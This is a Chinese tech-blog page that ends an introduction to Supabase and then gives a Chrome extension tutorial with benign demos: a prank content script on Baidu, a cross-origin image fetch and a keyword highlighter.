边缘函数 (Edge Functions)允许开发者在边缘节点上运行 JavaScript 函数,实现自定义逻辑。可以用于处理请求、触发事件、实现服务端渲染等。
GraphQL API提供 GraphQL API,支持灵活的数据查询和操作。可以根据需要自定义 GraphQL schema。
REST API自动生成基于 PostgreSQL schema 的 REST API,方便前端和移动端访问数据。

features

  • 快速开发: Supabase 提供了开箱即用的功能,如身份验证、数据库、存储等,大大加快了开发速度。
  • 实时数据: 实时订阅功能让开发者可以轻松构建实时应用。
  • 灵活可扩展: Supabase 基于 PostgreSQL,具有强大的扩展性,可以满足各种复杂的业务需求。
  • 开源: 可以自由地查看和修改源代码,具有高度的灵活性。
  • 成本效益高: Supabase 提供了免费的套餐,适合小型项目和个人开发者。

Supabase 的使用场景

Supabase在可以对以下场景发挥比较大的作用:

  • 需要快速构建 MVP 的项目: Supabase 可以帮助你快速搭建一个可用的产品原型。
  • 对数据实时性要求高的项目: Supabase 的实时订阅功能非常适合构建实时应用。
  • 需要高度自定义后端的项目: Supabase 的开源特性允许你根据自己的需求进行定制。
  • 对安全性要求高的项目: Supabase 提供了强大的安全机制,可以保护你的数据。

一些更常见的具体的应用场景如下:

  • Web 应用开发

    • 实时聊天应用: 利用 Supabase 的实时订阅功能,实现消息的实时推送。
    • 社交网络: 构建用户、帖子、评论等功能,并实现用户之间的实时互动。
    • 在线商城: 管理产品信息、用户订单、支付等功能。
    • 博客系统: 创建、编辑和发布文章,并实现用户评论和点赞功能。
  • 移动应用开发

    • 移动端应用的后端: 为 iOS 和 Android 应用提供数据存储、用户认证等服务。
    • 物联网应用: 收集和存储传感器数据,实现远程控制等功能。
  • 内部工具开发

    • 公司内部管理系统: 构建员工管理、项目管理等内部工具。
    • 数据分析平台: 收集和分析用户数据,生成报表。

架构分析

Supabase的架构主要围绕 PostgreSQL 数据库,并结合了其他开源工具,提供了一套完整的功能。关于架构的更多详情参考官方文档,这里列出其主要架构:

核心组件

对于每一个supabase项目都会由以下组件构成

组件说明
KONG云原生API网关
GoTrue提供用户认证和授权功能,支持多种认证方式,如邮箱、社交登录等。
Postgrest基于 PostgreSQL 的 RESTful API,允许开发者通过 HTTP 请求对数据库进行 CRUD 操作。
Realtime基于 Postgres LISTEN/NOTIFY 机制实现的实时订阅功能,可以实时推送数据更新。
Storage提供对象存储功能,用于存储用户上传的文件。
postgres-meta用于管理你的 Postgres 的 RESTful API。获取表、添加角色并运行查询。
Edge Functions允许开发者编写自定义函数,处理请求和响应
pg_graphql提供graphQL的API
PostgreSQL 数据库作为 Supabase 的数据存储核心,PostgreSQL 提供了强大的关系型数据库功能,支持复杂的查询和事务。

开发流程

当我们要基于Supabase进行开发时,一个基本的流程如下:

  1. 用户创建项目: 在 Supabase 平台上创建一个新的项目。
  2. 配置数据库: 自定义数据库的表结构、索引和权限。
  3. 开发前端: 使用 Supabase JavaScript 客户端库,在前端应用程序中调用 Supabase 提供的 API,实现数据查询、更新、认证等功能。
  4. 部署: 将前端应用部署到任意平台,后端服务由 Supabase 托管。

处理流程

  1. 用户在前端发起一个请求,例如获取用户信息。

  2. 前端代码调用 Supabase JavaScript 客户端库,发送请求到 Supabase 的 API。

  3. Supabase 的 API 接收到请求后,将请求转发给 PostgreSQL 数据库。

  4. PostgreSQL 执行查询,返回结果。

  5. Supabase 将查询结果返回给前端。

最后

本文主要介绍了Supabase的功能、主要特性、使用场景,并介绍了其架构组成,帮助我们对这个平台建立一个快速清晰的了解。关于Supabase的更多信息(比如架构和具体如何进行业务开发、具体实践等),本文没有做过多的介绍,建议感兴趣的朋友自己再去官网详细了解。

by 风生水气 at January 21, 2025 10:15 AM

juejin frontend

《⚡️万字速通 Chrome 扩展开发 🔥》

阅读本文你将学到什么

  1. 操作用户正在浏览的页面
  2. 跨域请求
  3. 常驻后台
  4. 带选项页面的扩展
  5. 扩展页面间的通信
  6. 存储数据

前言

我发现很多讲解编程的书籍,在前面都会详细地讲解相关的预备知识,而大多数读者却更希望马上进行实践。没错,人们总是对基础知识很排斥,这也就是为什么在教育行业开始推崇自顶向下的教材设计方案了——先让读者看到一个最接近表面的东西,之后再慢慢深入地讲解内在的原理和基础。所以我决定一会儿在每个小节,先带大家写一个Demo程序。这样不仅可以让大家在实践中对基础知识掌握得更加牢靠,同时也调动了大家的积极性。

另外,本篇文章作者想用武侠风去讲述,并不是因为作者抽风了😅💦而是这篇文章所讲的 Chrome 扩展开发技能,恰似武侠世界里的绝妙招式,能拆能合,自成体系,怎能错过这个机会,快来跟我一起进入chrome扩展的武侠世界!🚶

6FD976F19F323577857906D7DFB9F2D4.jpg

在这纷繁复杂的数字江湖之中,有一本神秘的秘籍悄然现世,名为 《⚡️万字速通 Chrome 扩展开发 🔥》功法。此秘籍威力巨大,修炼者若能参透其中奥秘,便可在网络世界中纵横驰骋,操控网页如同掌控江湖风云。

在这秘籍的修行之路上,前一篇已为诸位铺下基石,想看前篇的大侠请看这里: 《Chrome 插件开发:构建插件与调试知识全掌握 🚀》。在此基础之上,我等当齐心协力,继续深入探索这奇妙功法,开启一场惊心动魄的探索之旅,探寻其中深藏的真谛。

正如文章开头描述,阅读本篇文章,您将学会:

  1. 操作用户正在浏览的页面 —— 幻影迷踪手
  2. 跨域请求 —— 天涯咫尺步
  3. 常驻后台 —— 隐世守护诀
  4. 带选项页面的扩展 —— 百变如意囊
  5. 扩展页面间的通信 —— 传音入密术
  6. 存储数据 —— 乾坤储物戒

每个功能均可单独修炼,开发完整 Chrome 扩展时又可融会贯通,发挥强大威力。

接下来,本文将逐一拆解各技能,从入门到精通,助大侠们掌握精髓,纵横 Chrome 扩展江湖。

正文

1.操作用户正在浏览的页面

话说武林之中,高手过招讲究见招拆招,而在这网络江湖里,用户浏览网页时也会遇到各种状况,此时便需要我们运用 Chrome 扩展的功力来化解。

咱先唠唠为啥要掌握用 Chrome 扩展操作用户正在浏览的页面的技能。想象一下,你正在浏览一篇密密麻麻的学术论文,眼睛都快看花了,要是能一键把文字变大、颜色变柔和,那得多爽😌。再比如,你打开一个满是广告的网页,心烦意乱,要是有个扩展能瞬间把广告清理干净,是不是超棒😌?这就是用 Chrome 扩展操作页面的魅力,能给用户带来极致的浏览体验。

比如uBlock Origin Lite插件

最佳浏览器广告拦截扩展,功能全面、效果一流,而且资源占用极低。

正是利用了chrome插件可以操作用户正在浏览的页面的能力,将页面中的广告识别出来之后进行过滤。

过滤之前:充满广告😒 image.png

过滤之后:干净清爽🤩 image.png

uBlock Origin Lite 插件实现广告拦截,主要靠:

  • 规则过滤:内置大量过滤规则,由开发者和社区维护。一方面针对常见广告域名,拦截对应请求,如adserver.example.com这类已知广告服务器域名。另一方面,利用元素隐藏规则,依据 CSS 选择器定位广告元素,像特定类名advertisement-banner或标签结构<div id="ad-container">,找到后隐藏它们。

  • 内容脚本注入:通过内容脚本,在页面加载时注入代码。解析 DOM 结构,遍历 DOM 树,根据元素属性、类名、标签名及位置识别广告元素,再按规则处理。

所以知道操作用户正在浏览的页面的厉害了吧!🤩

现在来做一个小Demo,简单体验一下操作用户正在浏览的页面的Dom这个能力。

Demo介绍:安装Demo插件后,进入百度首页,让用户永远点不到百度的搜索按钮,鼠标一旦hover到按钮上,按钮就会立刻随机刷新位置。

Demo效果: 1737369228304.gif

Demo源码:

1. 创建文件结构

首先,创建以下文件和目录结构:

never-click/
├── content
│   └── content.js
└── manifest.json

image.png

2.编写 manifest.json 文件

{
    "manifest_version": 3,
    "name": "永远点不到的搜索按钮",
    "version": "1.0",
    "description": "让百度搜索按钮在鼠标悬停时随机移动",
    "content_scripts": [
        {
            "matches": ["https://www.baidu.com/"],
            "js": ["./content/content.js"],
            "run_at": "document_end"
        }
    ]
}

通过Chrome扩展我们可以对用户当前浏览的页面进行操作,实际上就是对用户当前浏览页面的DOM进行操作。通过Manifest中的content_scripts属性可以指定将哪些脚本何时注入到哪些页面中,当用户访问这些页面后,相应脚本即可自动运行,从而对页面DOM进行操作。

解释

  • manifest_version: 遵循 Manifest V3 规范。

  • name: 插件的名称。

  • version: 插件的版本号。

  • description: 插件的描述。

  • content_scripts: 定义了要注入到网页中的脚本信息。

    • matches: 表示将脚本注入到所有的网页中。
    • js: 要注入的脚本文件是 content/content.js
    • run_at: 表示在文档加载完成后执行脚本。

3.编写 content.js 文件

// 初始化按钮移动功能的主函数
function initializeButton() {
    // 获取百度搜索按钮的包装元素
    const searchButtonWrapper = document.getElementById('s_btn_wr');
    
    if (searchButtonWrapper) {
        // 定义按钮随机移动的函数
        function randomizeButtonPosition() {
            // 生成 200-500px 范围内的随机位置
            const randomTop = Math.floor(Math.random() * 301 + 200);  // 301 = (500-200+1)
            const randomLeft = Math.floor(Math.random() * 301 + 200);
            
            // 设置按钮的定位和位置
            searchButtonWrapper.style.position = 'fixed';
            searchButtonWrapper.style.top = randomTop + 'px';
            searchButtonWrapper.style.left = randomLeft + 'px';
        }
        
        // 当鼠标悬停在按钮上时触发随机移动
        searchButtonWrapper.addEventListener('mouseenter', randomizeButtonPosition);
    }
}

// 首次执行初始化
initializeButton();

4.加载扩展

  • 打开 Chrome 浏览器, 进入扩展程序管理页面(下图所示步骤 或 输入 chrome://extensions/)。

  • 开启开发者模式(右上角的开关)。

  • 点击 "加载已解压的扩展程序",选择你创建的 never-click 文件夹。

完成以上步骤后,当你访问百度搜索网页时,将会永远点不到搜索按钮

image.png

image.png

5.打开百度首页

试试看吧!

1737369228304.gif

通过这个小Demo,大家已经知道了:

1.什么是 操作用户正在浏览的页面Dom

2.如何 操作用户正在浏览的页面Dom

这个技能很重要,但是单独使用这个技能并不能发挥它的厉害之处,只有与其他的技能结合才能形成必杀技。

请学习第二招

2.跨域请求

各位江湖豪杰,方才我们已见识了 Chrome扩展操作用户正在浏览的页面 的奇妙本领,可谓是在这数字江湖中渐入佳境。然而,江湖之路,总是充满了各种挑战与险阻,接下来我们便要踏入一个稍显棘手的领域 —— 跨域请求。

跨域指的是JavaScript通过XMLHttpRequest请求数据时,调用JavaScript的页面所在的域 和 被请求页面的域不一致。对于网站来说,浏览器出于安全考虑是不允许跨域。另外,对于域相同,但端口或协议不同时,浏览器也是禁止的。下表给出了进一步的说明:

image.png

但这个规则如果同样限制Chrome扩展应用,就会使其能力大打折扣,所以Google允许Chrome扩展应用不必受限于跨域限制。但出于安全考虑,需要在Manifest的permissions属性中声明需要跨域的权限。

比如,如果我们想设计一款获取维基百科数据并显示在其他网页中的扩展,就要在Manifest中进行如下声明:

{ 
    ...
    "permissions": [ "*://*.wikipedia.org/*" ]
}

这样Chrome就会允许你的扩展在任意页面请求维基百科上的内容了。

接下来,我们将通过一个生动有趣的Demo,来详细阐述如何发送跨域请求。

Demo描述: 演示如何在Chrome插件中实现跨域请求。点击【获取跨域图片】按钮,在popup页面展示跨域接口返回的图片。

Demo效果:

image.png

Demo源码:

1. 创建项目结构

sentence-demo/
├── manifest.json
└── popup/
    ├── popup.html
    └── popup.js

image.png

2.编写 manifest.json

{
    "manifest_version": 3,
    "name": "跨域获取信息",
    "version": "1.0",
    "description": "跨域获取信息",
    
    "permissions": [
        "activeTab"
    ],
    
    "host_permissions": [
        "https://b.bdstatic.com/*"
    ],
    
    "action": {
        "default_popup": "popup/popup.html"
    }
}

说明:

  • manifest_version: 使用最新的 V3 标准

  • host_permissions: 指定允许访问的跨域资源地址,配置到需要跨域请求的地址,这样Chrome就会允许你发送这些跨域请求。

  • action: 定义扩展的弹出窗口

3.编写 popup.html

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>获取名言警句</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 10px;
            width: 300px; /* 设置固定宽度 */
        }
        button {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #45a049;
        }
        button:disabled {
            background-color: #cccccc;
            cursor: not-allowed;
        }
        p {
            margin-top: 10px;
            line-height: 1.5;
            min-height: 20px;
        }
    </style>
</head>
<body>
    <button id="fetchQuote">获取跨域图片</button>
    <p id="quoteDisplay"></p>
    <script src="popup.js"></script>
</body>
</html>

4. 编写 popup.js

document.getElementById('fetchQuote').addEventListener('click', async function () {
    try {
        // 发起请求获取图片数据
        const response = await fetch('https://b.bdstatic.com/searchbox/icms/searchbox/img/cheng_boy.png');
        // 将响应转换为 Blob 对象
        const blob = await response.blob();
        // 创建一个临时的 URL
        const imageUrl = URL.createObjectURL(blob);
        
        // 获取或创建 img 元素
        let imgElement = document.getElementById('imageDisplay');
        if (!imgElement) {
            imgElement = document.createElement('img');
            imgElement.id = 'imageDisplay';
            document.getElementById('quoteDisplay').appendChild(imgElement);
        }
        
        // 设置图片源
        imgElement.src = imageUrl;
        
        // 清理 URL 对象(可选,但建议做)
        imgElement.onload = () => {
            URL.revokeObjectURL(imageUrl);
        };
    } catch (error) {
        console.error('获取图片时出错:', error);
        document.getElementById('quoteDisplay').textContent = '获取失败,请重试';
    }
});

5. 加载扩展

  • 打开 Chrome 浏览器,访问 chrome://extensions/
  • 开启开发者模式(右上角的开关)。
  • 点击 “加载已解压的扩展程序”,选择包含上述文件的文件夹。

这样,当用户点击插件图标打开弹出窗口,再点击 “获取跨域图片” 按钮时,插件就会通过跨域请求获取图片并显示出来,从而演示跨域请求的过程。

image.png


image.png


image.png


问题 1:

如何确定一个请求属于跨域请求,且该请求的接口未将关键响应头 Access-Control-Allow-Origin 配置为*

一、判断是否跨域
首先,我们需要判断一个请求是否属于跨域请求。当以下情况发生时,可判定为跨域请求:

  • 检查协议、域名、端口号这三个要素,只要其中一个不同,此请求即为跨域请求。

二、判断接口的关键响应头 Access-Control-Allow-Origin 配置
在确认请求为跨域的基础上,我们进一步判断接口是否将关键响应头 Access-Control-Allow-Origin 配置为 *。具体操作如下:

  • 使用浏览器开发者工具

    1. 打开浏览器的开发者工具(通常按 F12 键),切换至网络(Network)面板。
    2. 触发你所怀疑的跨域请求,以便观察请求的详细信息。
    3. 在该请求的响应头中查找 Access-Control-Allow-Origin
    4. 若该响应头不存在,或者其值不为 *(此值表示允许来自所有源的请求),并且也不包含请求源的域名,那么此请求很可能会被浏览器的同源策略阻止。
    5. 例如,假设你的网页位于 http://mywebsite.com 并发起请求,若响应头 Access-Control-Allow-Origin 的值是 http://anotherwebsite.com 或者未进行设置,那么来自 http://mywebsite.com 的请求将会被阻止。

下面我们来探究一下,如果不配置 host_permissions 会引发何种情况呢?

1.删掉host_permissions配置文件内容

我们这样,把manifest.json文件中的host_permissions配置文件删掉: 删掉之前:

"host_permissions": [
    "https://b.bdstatic.com/*"
],

删掉之后:

"host_permissions": [
    //这里删掉
],

2.刷新插件

image.png

3.打开调试信息

image.png

4.查看错误 删掉host_permissions配置文件内容之后,再去请求发现,确实是报错跨域问题了。

Google允许Chrome扩展应用不必受限于跨域限制。但出于安全考虑,需要在Manifest的permissions属性中声明需要跨域的权限。

image.png

这样,你就学会了使用chrome扩展成功获取跨域请求内容的技能!此乃初入江湖的一大进步也!

3.常驻后台

各位江湖豪杰!在这 Chrome 扩展的奇妙江湖里,我们已然在诸多技能上有所建树,似那掌握了 “跨域请求” 的天涯咫尺步,可跨越疆界;又似精通 “操作用户页面” 的幻影迷踪手,能在页面 DOM 元素间穿梭自如。但江湖险恶,变幻莫测,仅靠这些恐怕还不足以立足。

今番要研习的是一门神秘莫测的奇功 —— 常驻后台,此乃 “隐世守护诀”。在这风云涌动的数字江湖中,此诀犹如一位隐世高手,悄然藏身于幕后,时刻守护着我们的网页江湖。

有时我们希望扩展不仅在用户主动发起时(如开启特定页面或点击扩展图标等)才运行,而是希望扩展自动运行并常驻后台来实现一些特定的功能,比如:

  1. 实时网络监测:自动监控网络请求,实时分析网络流量,识别潜在的恶意网站访问。一旦发现可疑请求,如向已知的恶意 IP 发送数据,立即发出警报,提醒用户注意网络安全,避免隐私信息泄露和遭受网络攻击。
  2. 广告智能拦截:持续扫描用户访问的每一个网页,实时识别并拦截各类广告。不仅能屏蔽常见的弹窗广告、横幅广告,还能智能识别并过滤那些伪装成正常内容的隐性广告,为用户打造一个清爽、无干扰的浏览环境,同时节省网络流量和页面加载时间。
  3. 多语言自动翻译:当用户浏览外文网页时,无需手动触发,扩展在后台自动检测网页语言,并实时将页面内容翻译为用户预设的语言。无论是文章、菜单还是按钮,都能瞬间以熟悉的语言呈现,打破语言障碍,让用户轻松畅享全球资讯。

Chrome允许扩展应用在后台常驻一个页面以实现这样的功能。在一些典型的扩展中,UI页面,如popup页面或者options页面,在需要更新一些状态时,会向后台页面请求数据,而当后台页面检测到状态发生改变时,也会通知UI界面刷新。

后台页面与UI页面可以相互通信,这将在后续的章节中做进一步的说明,这里将主要说说后台页面是如何工作的。

在Manifest中指定background域可以使扩展常驻后台。background可以包含三种属性,分别是scriptspagepersistent。如果指定了scripts属性,则Chrome会在扩展启动时自动创建一个包含所有指定脚本的页面;如果指定了page属性,则Chrome会将指定的HTML文件作为后台页面运行。通常我们只需要使用scripts属性即可,除非在后台页面中需要构建特殊的HTML——但一般情况下后台页面的HTML我们是看不到的。persistent属性定义了常驻后台的方式——当其值为true时,表示扩展将一直在后台运行,无论其是否正在工作;当其值为false时,表示扩展在后台按需运行,这就是Chrome后来提出的Event Page。Event Page可以有效减小扩展对内存的消耗,如非必要,请将persistent设置为falsepersistent的默认值为true


接下来写个Demo体验一下。

Demo描述: 用户可在选项页面添加关键词,后台脚本会自动运行,监测用户浏览的所有网页。当页面加载完成时,它会向网页注入一个脚本,遍历页面文本内容,使用高级的 DOM 操作技巧,精确查找用户设置的关键词。一旦找到,会使用Range对象将关键词用黄色高亮显示,同时不破坏原文档结构。

Demo效果: 可以看到在设置关键词之后,浏览掘金首页,跟关键词匹配上的文字都黄色高亮显示了。看下面代码就可以发现,其实就是对页面的Dom进行匹配,匹配上了之后将文字替换成带有黄色高亮的<span>

1737428630577.gif

Demo源码:

1. 创建项目结构

.
├── background
│   └── background.js
├── manifest.json
├── options
│   ├── options.html
│   └── options.js
└── popup
    ├── popup.html
    └── popup.js

image.png

2.manifest.json

{
    "manifest_version": 3,
    "name": "关键词高亮提醒插件",
    "version": "1.0",
    "description": "一个能在网页中高亮显示用户设定关键词的Chrome插件",
    "permissions": [
        "storage",
        "tabs",
        "activeTab",
        "scripting"
    ],
    "host_permissions": [
        "https://juejin.cn/*",
        "http://*/*",
        "https://*/*"
    ],
    "action": {
        "default_popup": "./popup/popup.html"
    },
    "options_page": "./options/options.html",
    "background": {
        "service_worker": "./background/background.js"
    }
}

3.popup.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>关键词高亮提醒</title>
    <style>
        body {
            width: 300px;
            padding: 20px;
            font-family: Arial, sans-serif;
            text-align: center;
            background-color: #f5f5f5;
        }
        h1 {
            color: #333;
            font-size: 18px;
            margin-bottom: 15px;
        }
        p {
            color: #666;
            font-size: 14px;
            margin-bottom: 20px;
        }
        button {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <h1>关键词高亮提醒插件</h1>
    <p>点击打开选项页面设置关键词</p>
    <button id="openOptions">打开选项页面</button>
    <script src="popup.js"></script>
</body>
</html>

4. popup.js

// popup.js
document.getElementById('openOptions').addEventListener('click', function() {
    if (chrome.runtime.openOptionsPage) {
        chrome.runtime.openOptionsPage();
    } else {
        window.open(chrome.runtime.getURL('options.html'));
    }
});

5. options.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>关键词设置</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            width: 800px;
            margin: 0 auto;
            padding: 40px;
            background-color: #f5f5f5;
        }
        h1 {
            color: #333;
            text-align: center;
            margin-bottom: 30px;
        }
        .input-container {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            justify-content: center;
        }
        input {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            width: 300px;
            font-size: 14px;
        }
        button {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #45a049;
        }
        #keywordList {
            list-style: none;
            padding: 0;
            margin: 0;
        }
        #keywordList li {
            background: white;
            margin: 10px 0;
            padding: 15px;
            border-radius: 4px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .delete-btn {
            background-color: #f44336;
            padding: 5px 10px;
        }
        .delete-btn:hover {
            background-color: #da190b;
        }
    </style>
</head>
<body>
    <h1>设置关键词</h1>
    <div class="input-container">
        <input type="text" id="keywordInput" placeholder="请输入要监控的关键词">
        <button id="addKeyword">添加关键词</button>
    </div>
    <ul id="keywordList"></ul>
    <script src="options.js"></script>
</body>
</html>

6. options.js

// options.js
document.getElementById('addKeyword').addEventListener('click', function() {
    const keyword = document.getElementById('keywordInput').value;
    if (keyword) {
        chrome.storage.local.get(['keywords'], function(result) {
            let keywords = result.keywords || [];
            keywords.push(keyword);
            chrome.storage.local.set({ keywords: keywords }, function() {
                displayKeywords();
                document.getElementById('keywordInput').value = '';
            });
        });
    }
});

function displayKeywords() {
    document.getElementById('keywordList').innerHTML = '';
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || [];
        keywords.forEach(function(keyword, index) {
            const li = document.createElement('li');
            li.textContent = keyword;
            const deleteButton = document.createElement('button');
            deleteButton.textContent = '删除';
            deleteButton.addEventListener('click', function() {
                chrome.storage.local.get(['keywords'], function(result) {
                    let keywords = result.keywords || [];
                    keywords.splice(index, 1);
                    chrome.storage.local.set({ keywords: keywords }, displayKeywords);
                });
            });
            li.appendChild(deleteButton);
                document.getElementById('keywordList').appendChild(li);
            });
    });
}

displayKeywords();

7. background.js(后台脚本)

chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
    if (changeInfo.status === 'complete') {
        chrome.storage.local.get(['keywords'], function(result) {
            const keywords = result.keywords || [];
            if (keywords.length > 0) {
                chrome.scripting.executeScript({
                    target: { tabId: tabId },
                    func: highlightKeywords,
                    args: [keywords]  // 传递参数给函数
                });
            }
        });
    }
});

// 定义要注入的函数
function highlightKeywords(keywords) {
    keywords.forEach(function (keyword) {
        const regex = new RegExp(keyword, 'gi');
        const elements = document.querySelectorAll('body *');
        elements.forEach(function (element) {
            if (element.childNodes.length === 1 && element.childNodes[0].nodeType === Node.TEXT_NODE) {
                const node = element.childNodes[0];
                let match;
                while ((match = regex.exec(node.textContent))!== null) {
                    const range = document.createRange();
                    range.setStart(node, match.index);
                    range.setEnd(node, match.index + match[0].length);
                    const span = document.createElement('span');
                    span.style.backgroundColor = 'yellow';
                    span.textContent = match[0];
                    range.surroundContents(span);
                    // 重置 lastIndex,确保连续匹配
                    regex.lastIndex = 0;
                }
            }
        });
    });
}

// 监听标签页激活事件
chrome.tabs.onActivated.addListener(function(activeInfo) {
    // 获取当前激活的标签页信息
    chrome.tabs.get(activeInfo.tabId, function(tab) {
        // 检查标签页是否已加载完成
        if (tab.status === 'complete') {
            // 从本地存储中获取关键词
            chrome.storage.local.get(['keywords'], function(result) {
                const keywords = result.keywords || [];
                // 如果关键词数组不为空
                if (keywords.length > 0) {
                    // 在当前标签页中执行高亮关键词的脚本
                    chrome.scripting.executeScript({
                        target: { tabId: activeInfo.tabId },
                        func: highlightKeywords,
                        args: [keywords] // 传递关键词数组作为参数
                    });
                }
            });
        }
    });
});

// 监听新标签页创建事件
chrome.tabs.onCreated.addListener(function(tab) {
    // 从本地存储中获取关键词
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
        // 如果关键词数组不为空
        if (keywords.length > 0) {
            // 在新创建的标签页中执行高亮关键词的脚本
            chrome.scripting.executeScript({
                target: { tabId: tab.id }, // 指定目标标签页
                func: highlightKeywords, // 要执行的函数
                args: [keywords] // 传递关键词数组作为参数
            });
        }
    });
});

// 监听标签页高亮事件
chrome.tabs.onHighlighted.addListener(function(highlightInfo) {
    // 遍历所有高亮的标签页ID
    highlightInfo.tabIds.forEach(function(tabId) {
        // 获取当前标签页的信息
        chrome.tabs.get(tabId, function(tab) {
            // 检查标签页是否已加载完成
            if (tab.status === 'complete') {
                // 从本地存储中获取关键词
                chrome.storage.local.get(['keywords'], function(result) {
                    const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
                    // 如果关键词数组不为空
                    if (keywords.length > 0) {
                        // 在高亮的标签页中执行高亮关键词的脚本
                        chrome.scripting.executeScript({
                            target: { tabId: tabId }, // 指定目标标签页
                            func: highlightKeywords, // 要执行的函数
                            args: [keywords] // 传递关键词数组作为参数
                        });
                    }
                });
            }
        });
    });
});

// 监听标签页被替换事件
chrome.tabs.onReplaced.addListener(function(addedTabId, removedTabId) {
    // 从本地存储中获取关键词
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
        // 如果关键词数组不为空
        if (keywords.length > 0) {
            // 在新替换的标签页中执行高亮关键词的脚本
            chrome.scripting.executeScript({
                target: { tabId: addedTabId }, // 指定目标标签页
                func: highlightKeywords, // 要执行的函数
                args: [keywords] // 传递关键词数组作为参数
            });
        }
    });
});

8.安装插件

  • 打开 Chrome 浏览器,访问 chrome://extensions/
  • 开启开发者模式(右上角的开关)。
  • 点击 “加载已解压的扩展程序”,选择包含上述文件的文件夹。

这样,当用户点击插件图标打开弹出窗口,再点击 “获取跨域图片” 按钮时,插件就会通过跨域请求获取图片并显示出来,从而演示跨域请求的过程。

image.png


image.png


好了,可以看看效果了。只要设置好了关键词,随便进入哪个页面,都会把关键词标记为高亮黄色,并且还是静默运行,用户感知很低。

9.代码解释:

  • manifest.json

    • manifest_version: 遵循 Chrome 扩展的 Manifest V3 规范。
    • permissions: 声明所需的权限,包括存储、标签页、通知和活动标签页的权限。
    • action.default_popup: 定义了弹出窗口的 HTML 文件。
    • options_page: 定义了用户设置关键词的选项页面。
    • background.service_worker: 定义了后台服务脚本。
  • popup.html 和 popup.js

    • 提供一个按钮,点击后可打开选项页面。
  • options.html 和 options.js

    • 允许用户输入关键词,添加和删除关键词,将关键词存储在chrome.storage.local中。
  • background.js

    • 包含多个事件监听器:

      • chrome.tabs.onUpdated: 监听标签页更新,当页面更新完成时,根据存储的关键词列表注入脚本对页面内容进行关键词高亮。
      • chrome.tabs.onActivated: 监听标签页激活,对激活的页面进行关键词高亮处理。
      • chrome.tabs.onCreated: 监听新标签页创建,对新页面进行关键词高亮处理。
      • chrome.tabs.onHighlighted: 监听标签页高亮,对高亮的页面进行关键词高亮处理。
      • chrome.tabs.onReplaced: 监听标签页替换,对替换后的页面进行关键词高亮处理。
  • 关键词高亮代码片段

    • 通过chrome.tabs.executeScript将一个函数注入到页面中,该函数使用RegExp将关键词在页面中进行全局不区分大小写的查找,并将找到的关键词使用<span style="background-color: yellow;">包裹,实现高亮。

有个小问题: chrome.tabs.onHighlighted事件就是chrome.tabs.onActivated。这俩功能是一样的?为什么还要写两个,他们的不同是什么?

chrome.tabs.onHighlighted 和 chrome.tabs.onActivated 这两个事件虽然在某些情况下可以实现类似的功能,但它们的触发条件和使用场景是不同的。

主要区别:

1. 触发条件:

  • chrome.tabs.onActivated:当用户激活一个标签页时触发。这个事件只会在用户直接点击标签页或使用键盘快捷键切换标签页时触发。

  • chrome.tabs.onHighlighted:当用户高亮(选择)一个或多个标签页时触发。这个事件可以在用户通过鼠标拖动选择多个标签页时触发。

  • 使用场景:

  • chrome.tabs.onActivated 更适合用于处理单个标签页的激活事件,比如当用户切换到某个特定标签页时需要执行某些操作。

  • chrome.tabs.onHighlighted 更适合用于处理多个标签页的选择事件,比如当用户选择了一组标签页时,可以对这些标签页执行相同的操作。


4.带选项页面的扩展

想象一下,在江湖中,大侠们拥有一个神奇的 “百变如意囊”,可以根据不同的情况变幻出各种所需之物,满足各种需求。在 Chrome 扩展的世界里,这一技能也有着异曲同工之妙, 带选项页面的扩展就如同这个神奇的 “百变如意囊”,它能为我们的扩展增添更多的灵活性和个性化。

既然扩展允许用户进行个性化设置,就需要向用户提供一个选项页面。Chrome通过Manifest文件的options_page属性为开发者提供了这样的接口,可以为扩展指定一个选项页面。当用户在扩展图标上点击右键,选择菜单中的“选项”后,就会打开这个页面。

对于网站来说,用户的设置通常保存在Cookies中,或者保存在网站服务器的数据库中。对于JavaScript来说,一些数据可以保存在变量中,但如果用户重新启动浏览器,这些数据就会消失。那么如何在扩展中保存用户的设置呢?我们可以使用HTML5新增的localStorage接口。除了localStorage接口以外,还可以使用其他的储存方法。后面将专门拿出一节来说数据存储,这里我们先使用最简单的localStorage方法储存数据。

localStorage是HTML5新增的方法,它允许JavaScript在用户计算机硬盘上永久储存数据(除非用户主动删除)。但localStorage也有一些限制,首先是localStorage和Cookies类似,都有域的限制,运行在不同域的JavaScript无法调用其他域localStorage的数据;其次是单个域在localStorage中存储数据的大小通常有限制(虽然W3C没有给出限制),对于Chrome这个限制是5MB2;最后localStorage只能储存字符串型的数据,无法保存数组和对象,但可以通过jointoStringJSON.stringify等方法先转换成字符串再储存。

